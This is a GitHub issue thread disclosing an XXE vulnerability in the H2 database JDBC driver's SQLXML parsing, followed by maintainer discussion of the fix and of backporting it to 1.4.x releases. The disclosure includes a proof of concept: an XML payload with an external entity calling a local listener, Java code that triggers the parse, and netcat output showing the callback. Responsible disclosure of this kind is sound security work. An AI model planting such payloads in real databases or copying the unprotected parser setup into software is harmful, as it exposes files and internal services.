New issue

Jump to bottom

Report a H2-Database-Engine SQLXML XXE vulnerability #3195

Closed **threedr3am** opened this issue on Oct 22, 2021 · 18 comments · Fixed by #3199

threedr3am commented on Oct 22, 2021 • edited

Hello, I am threedr3am of SecCoder Security Lab (contact@seccoder.club).

We found a security vulnerability(SCSL-2021-1001) in the H2-Database-Engine jar when using this component to connect to the h2 database , The returned data content field is parsed through SQLXML, which will cause the client XXE (https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).

- Oracle mysql jdbc also recently fixed a similar security vulnerability, please refer to: https://nvd.nist.gov/vuln/detail/CVE-2021-2471
- This is their fix commit: mysql/mysql-connector-j@ 4993d57

vulnerability detail:

When analyzing the data returned by the database, the org.h2.jdbc.JdbcResultSet class provides the getSQLXML(java.lang.String) method, which parses the string data into an object of the org.h2.jdbc.JdbcSQLXML class.

```
public SQLXML getSQLXML(String columnLabel) throws SQLException {
    try {
        int id = getNextId(TraceObject.SQLXML);
        if (isDebugEnabled()) {
            debugCodeAssign( className: "SQLXML", TraceObject.SQLXML, id,  value: "getSQLXML(" + columnLabel + ")");
        }
        Value v = get(columnLabel);
        return v == ValueNull.INSTANCE ? null : new JdbcSQLXML(conn, v, JdbcLob.State.WITH_VALUE, id);
    } catch (Exception e) {
        throw logAndConvert(e);
    }
}
```

When the object executes the getSource(Class sourceClass) method, if the input parameter is DOMSource.class, it will result in unprotected parsing of XML, resulting in XXE.

```
@Override
public <T extends Source> T getSource(Class<T> sourceClass) throws SQLException {
    try {
        if (isDebugEnabled()) {
            debugCodeCall(
                    methodName: "getSource(" + (sourceClass != null ? sourceClass.getSimpleName() + ".class" : "null") + ')');
        }
        checkReadable();
        if (sourceClass == null || sourceClass == DOMSource.class) {
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            return (T) new DOMSource(dbf.newDocumentBuilder().parse(new InputSource(value.getInputStream())));
        } else if (sourceClass == SAXSource.class) {
            return (T) new SAXSource(new InputSource(value.getInputStream()));
        } else if (sourceClass == StAXSource.class) {
            XMLInputFactory xif = XMLInputFactory.newInstance();
            return (T) new StAXSource(xif.createXMLStreamReader(value.getInputStream()));
        } else if (sourceClass == StreamSource.class) {
            return (T) new StreamSource(value.getInputStream());
        }
        throw unsupported(sourceClass.getName());
    } catch (Exception e) {
        throw logAndConvert(e);
    }
}
```

vulnerability reproduction:

1. The table exists in the database

```
create table tb_test (
  id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
  message text COMMENT 'SQLXML',
  PRIMARY KEY (`id`)
);
```

2. There is data in the tb_test table

```
insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');
```

3. Query the database to return the message field and parse it through SQLXML

```
Statement statement = connection.createStatement();
statement.execute("select * from tb_test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
     SQLXML sqlxml = resultSet.getSQLXML("message");
     sqlxml.getSource(DOMSource.class);
}
```

4. result

```
✘ [redacted] @threedr3ams-MacBook-Pro [redacted] nc -lvvp 80
Listening on any address 80 (http)
Connection from 127.0.0.1:56028
GET /xxe.dtd HTTP/1.1
User-Agent: Java/1.8.0_241
Host: 127.0.0.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
```

👍 3

threedr3am commented on Oct 22, 2021 — Author

This is a project repository to reproduce the vulnerability.
https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe

Sascha82 commented on Oct 29, 2021

Dear all,

this issue has been detected by our vulnerability scanner durint our last deployment Mid of October. This is rated as an high issue, which needs to be fixed by end of year. I guess many other companies will be also affected by this issue, that's why a quick fix by end of November would be very helpful.

Can some developers pick this up asap and share some updates in the next days?

Thanks and best regards,
Sascha

👍 4

andreitokar added a commit to andreitokar/h2database that referenced this issue on Oct 30, 2021

`fix for h2database#3195 CQLXML XXE vulnerability` ✓ `d83285f`

andreitokar mentioned this issue on Oct 30, 2021

Fix for #3195 CQLXML XXE vulnerability #3199

Merged

husseyd commented on Nov 2, 2021

Second the comments on here - would love to see the above PR go through and a new release out soon.

👍 3

andreitokar closed this as completed in #3199 on Nov 4, 2021

---

andreitokar added a commit that referenced this issue on Nov 4, 2021

`Merge pull request #3199 from andreitokar/issue_3195` ··· ✓ `7966835`

husseyd commented on Nov 4, 2021

@andreitokar Can will this be published in a release and pushed to mvn etc?

cdarau commented on Nov 5, 2021

Same need over here - would love for this PR to go in a new release ASAP

👍 3 👀 1

cbvms123 pushed a commit to cbvms123/h2database that referenced this issue on Nov 8, 2021

`fix for h2database#3195 CQLXML XXE vulnerability` ··· `56e3ca8`

snicoll commented on Dec 15, 2021 • edited

@andreitokar could you please consider backporting this? This forces everyone to migrate to 2.x

2

katzyn commented on Dec 15, 2021 Contributor

Sorry, we don't have enough time to produce patch releases for outdated versions of H2.

Only applications that use `java.sql.SQLXML` with XML data from untrusted sources are affected. `SQLXML` isn't used too often.

lukaseder commented on Dec 16, 2021 Contributor

The CVE has a score of 8.1 or 9.1, depending on who you're asking. It can't just be ignored by anyone using H2, especially now that dependabot has started complaining about the dependency! You'll probably hear more very soon, given how annoying dependabot can be :)

So, folks *have to* upgrade to a quite backwards incompatible 2.0 release from 1.4. Given that 2.0 can't read the 1.4 file format, that's really a significant problem.

I've tried numerous times to throw money at the problem, and I'm not alone, see #3048. But you don't seem to accept money 😅. So, is there any other way that would help convince maintainers to make an exception for this case, or even better, implement a branching strategy going forward?

My offer from #3048 stands...

4

philwebb mentioned this issue on Dec 16, 2021

Allow Spring Boot 2.5 and 2.6 to work with H2 version 2.0.202 spring-projects/spring-boot#29034

Closed

katzyn commented on Dec 16, 2021 Contributor

Migration from 1.4.196 to 1.4.197 and so on also requires a dump and restore, otherwise database will be corrupted (with exception for upgrade from 1.4.198 to a bugfix release 1.4.199). Various, but not all very old releases also require that step.

We made various changes to make upgrade much simpler for new versions and upgrade from 2.0.202 to new releases shouldn't be that complicated. But we can't fix data format and SQL export format of old releases and in some cases we can't even determine data types of some columns from H2 1.* in reliable way.

At this time, a pull request in Hibernate ORM with a fix for an old issue HHH-14180 can help a lot I guess. Some other projects are already updated.

lukaseder commented on Dec 17, 2021 Contributor

Irrespective of the numbering scheme, all I'm saying is, if there were branches off each of these (major?) releases disguised as patch release numbers, then people could upgrade to get urgent fixes such as this one without having to deal with all the hassle of upgrading the rest.

To illustrate: A CVE this severe may need production patching. People can't risk taking down production by introducing 500 new features hastily just to get access to a CVE fix. That's how a 1.4.198.1, 1.4.199.1, 1.4.200.1 release (or whatever numbering scheme) would help a lot.

On a branch, automated tests and everything else still works as it used to, 2 years ago, untouched. So once the branching and branch releasing infrastructure is set up, then backports only consist of backporting the actual fix. I think this would definitely be worth it for important CVEs and bugs, no?

❤️ 1

manticore-projects commented on Dec 17, 2021

> On a branch, automated tests and everything else still works as it used to, 2 years ago, untouched. So once the branching and branch releasing infrastructure is set up, then backports only consist of backporting the actual fix. I think this would definitely be worth it for important CVEs and bugs, no?

The back-port does not even need to be done by the H2 core team itself. Any interested developer could do it and submit a PR. But without a H2 branch, right now this is a futile attempt: I can write a PR against 1.4.200 but will never be able to publish it: my own repo is irrelevant and the official repo runs as a rolling release.

1

katzyn commented on Dec 17, 2021 • edited Contributor

@lukaseder
We need a stable base for patch releases and a some infrastructure for them, because internally there is no x.y.z scheme, releases are numbered sequentially, 197, 198, 199, 200 and so on. Hypothetically we can produce patch releases in the future, but only for H2 2.0+ and after some changes in their internal numbers.

The current plan is to fix unexpected regressions in 2.0.202 and publish a patch release in the near future (2.0.204 or something like it). These fixes by itself need a lot of time.

I guess nobody has a time to mess with 1.4.* on our side. 1.4.200 is a completely outdated beta-quality version not really suitable for persistent databases, 1.4.199 is more reliable. Unfortunately, a bugfix release for 1.4.200 wasn't built when it was needed (like 1.4.199 was released to fix problems in buggy 1.4.198). Some people still use 1.4.197 or even 1.4.196, and these versions aren't affected by this vulnerability.

I should say again: if somebody wants to help, please, take a look on `H2Dialect`, `H2IdentityColumnSupport`, `H2SequenceSupport`, etc. in Hibernate ORM; their outdated state is the largest blocker for adoption of H2 2.0.

consultantleon commented on Dec 17, 2021 • edited

From what I'm reading here, it confirms that the advise we give customers for years now is still correct: don't use H2 for production deployments. Only for local/testing/demo applications. We stuck with 1.4.193 as any later version caused pains and showed unacceptable bugs.
We're looking into postgresql as a free alternative, otherwise stick with mysql or the big name DBs when you plan to run critical production services.
(however much we love the free and simple H2...!)

andreitokar commented on Dec 17, 2021 — Contributor

@consultantleon, While I am not going to discuss suitability of H2 for various applications, I just wonder what do you mean by "unacceptable bugs"? If for some reason you think, that those dozens and dozens of bugs, that have been fixed since 1.4.193 were acceptable, but any new regressions are not, then good luck in your search for that bug-free database with pain-free upgrades and zero cost.

BTW, as a consultant you should be able to advise you clients on how to back-port vulnerability fix and build a patched version yourself. All it takes is to cherry-pick a single commit from one branch to another. The problem arises when you need to publish "official" patched builds for multiple versions (1.4.193 1.4.197, 1.4.199, ...?). Some may argue, that home-made patch just won't cut it for a company "Foo", but I doubt, if they would ever select any software, not backed by a company (and H2 is not), in a first place.

P.S. Don't forget to write that 1-star review on Yelp 😄.

andreitokar mentioned this issue on Dec 17, 2021

CVE-2021-23463 Fix downport to 1.4.x #3271

Closed

wclarkpk added a commit to wclarkpk/h2database that referenced this issue on Dec 20, 2021

`Backport Fix for h2database#3195 CQLXML XXE vulnerability h2database#…` ··· `176b23c`

chadlwilson commented on Dec 21, 2021

@katzyn and **@andreitokar** - if someone helps with the logistics; figuring out the right commit to branch off and such, getting tests and build to pass, would you be willing to assist the community in pushing a release with just this fix - say `1.4.200.1` ?

Noting your comments on release numbering, perhaps it is sufficient for the community that this still identifies itself as `200`, even if the jars are named `1.4.200.1` (and arguably `1.4.199.1` if some have identified that they weren't supposed to use `200`)? Would such a compromise work?

I note **@wclarkpk** seems to be working on it. I'm wondering how the community can help reduce the effort for you to make it as easy as possible to cut and push a release so we can avoid repeat work by the large number of folks who are possibly using `1.4` and are not yet ready to make the breaking-ish migration to `2.0.x`.

katzyn commented on Dec 21, 2021 — Contributor

If you don't use affected methods of `java.sql.SQLXML` interface in your application you can safely ignore this vulnerability. It cannot be exposed if these methods aren't called. (Hibernate ORM doesn't call them by itself, BTW.)

More or less stable 1.4.199 has at least three security issues, all of them were discussed here, on GitHub, and nobody cares about other two. Why you want to fix only one that doesn't affect almost all applications? Other issues also affect only few applications, and yours may be not affected, but anyway.

Unfortunately, a fix of one of them cannot be backported to 1.4 series of releases without massive changes, it doesn't affect single-user applications, but it will be very strange to create a patch release for an outdated version that will still have security problems.

chadlwilson commented on Dec 21, 2021

@katzyn Thanks. I was not aware of other vulnerabilites in `1.4.200` or `1.4.199`. There are none other that are filed against the CPE for `1.4.200` (or `1.4.199`) at least. People rely on scanning tools to report issues with their transitives, due to the scale of most software - that is why this one is drawing more attention (rightly or wrongly). If there are indeed others such as CVE-2018-14335 (in changelog for `2.0.202`), they are filed incorrectly with Mitre/NIST NVD (or not at all), as that one is only reported specifically against `1.4.197`, not later versions.

I agree that the particular issue here doesn't affect everyone - for my particular usage I was intending to suppress with commentary and perhaps add static analysis rule to fail builds if this function is used (doesn't protect from libraries using it without some difficulty). Nevertheless, it does leave lingering risk for folks to have it there in case they start using that feature in future, and neglect some other practices.

I disagree with you that it is strange, since it's common practice to backport fixes when a new release makes breaking changes. However it depends what these other security issues are and their relative severity, likelihood of exploitation, available mitigations etc. It might be perfectly reasonable to patch a high/critical rated vulnerability while leaving a lower severity one unpatched (risk vs. effort/value).

Since I can't find those other ones, I can't really comment other than in general, however. If you can point me to the "difficult to backport" one, possible I'd better understand what you're getting at.

katzyn commented on Dec 21, 2021 — Contributor

`GRANT SELECT, INSERT, UPDATE, DELETE` gives access not only to DML, but also to DDL commands on the specified table to the specified unprivileged user. For example, it can drop this table, change its constraints or do something else. Backport of fix for this issue is too complicated.

👍 1

A248 mentioned this issue on Jan 4

Bump h2 from 1.4.199 to 2.0.202 A248/LibertyBans#105

Closed

lukaseder mentioned this issue on Jan 7

Upgrade H2 dependency to 2.0.206 jOOQ/jOOQ#12795

Closed

This was referenced on May 10

CVE-2021-23463 (High) detected in h2-1.4.199.jar snowdensb/spring-security-oauth#144

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar, h2-1.4.199.jar KDWSS/dd-trace-java#473

Open

mend-bolt-for-github bot mentioned this issue on May 10

CVE-2021-23463 (High) detected in h2-1.4.200.jar - autoclosed valtech-ch/microservice-kubernetes-cluster#634

Closed

This was referenced on May 11

CVE-2021-23463 (High) detected in h2-1.4.200.jar Tim-sandbox/Petclinic#14

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar Yoavmartin/spring-petclinic#22

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar rsoreq/cwa-server#39

Open

CVE-2021-23463 (High) detected in h2-1.4.199.jar Tim-sandbox/barista#99

Open

This was referenced on May 11

CVE-2021-23463 (High) detected in h2-1.4.200.jar gavarasana/fundamentals#5

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar ghuangsnl/spring-boot#121

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar gavarasana/spring-petclinic#18

Open

This was referenced on May 11

CVE-2021-23463 (High) detected in h2-1.4.200.jar snowdensb/spring-boot#161

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar brogers588/spring-boot#177

Open

This was referenced on May 11

CVE-2021-23463 (High) detected in h2-1.4.200.jar vlaship/case-coding-test#4

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar HoangBachLeLe/ConferenceTrackManagement#14

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar HoangBachLeLe/SalesTaxes#14

Open

CVE-2021-23463 (High) detected in h2-1.4.199.jar mgh3326/freelec-springboot2-webservice_practice#98

Open

h2-1.4.200.jar: 4 vulnerabilities (highest severity is: 9.8) HoangBachLeLe/SpringAngular#61

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar MikeGratsas/currency-converter#18

Open

CVE-2021-23463 (High) detected in h2-1.4.199.jar wasimakh2/JPAGenratorRelease#101

Open

CVE-2021-23463 (High) detected in h2-1.4.199.jar andygonzalez2010/store#394

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar mgh3326/hot_deal_alarm_api#85

Open

CVE-2021-23463 (High) detected in h2-1.4.200.jar HoangBachLeLe/TemplateRepository#11

Open

CVE-2021-23463 (High) detected in h2-1.4.199.jar vwasthename/iaf#34

Open

CVE-2021-23463 (High) detected in h2-1.4.199.jar AlexRogalskiy/java4you#137

Open

CVE-2021-23463 (High) detected in h2-1.4.199.jar sesong11/example#60

Open

mend-for-github-com bot mentioned this issue on May 14

CVE-2021-23463 (High) detected in h2-1.4.199.jar TreyM-WSS/togglr-api#80

Open

mend-bolt-for-github bot mentioned this issue on May 20

CVE-2021-23463 (High) detected in h2-1.4.200.jar MikeGratsas/payments#36

Open

mend-bolt-for-github bot mentioned this issue on Jun 2

h2-1.4.200.jar: 4 vulnerabilities (highest severity is: 9.8) lesibam/sneaker-x-server#7

Open

bhati00 mentioned this issue on Oct 31

Security vulnerability in H2 database iluwatar/java-design-patterns#2297

Closed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

Fix for #3195 CQLXML XXE vulnerability
andreitokar/h2database

11 participants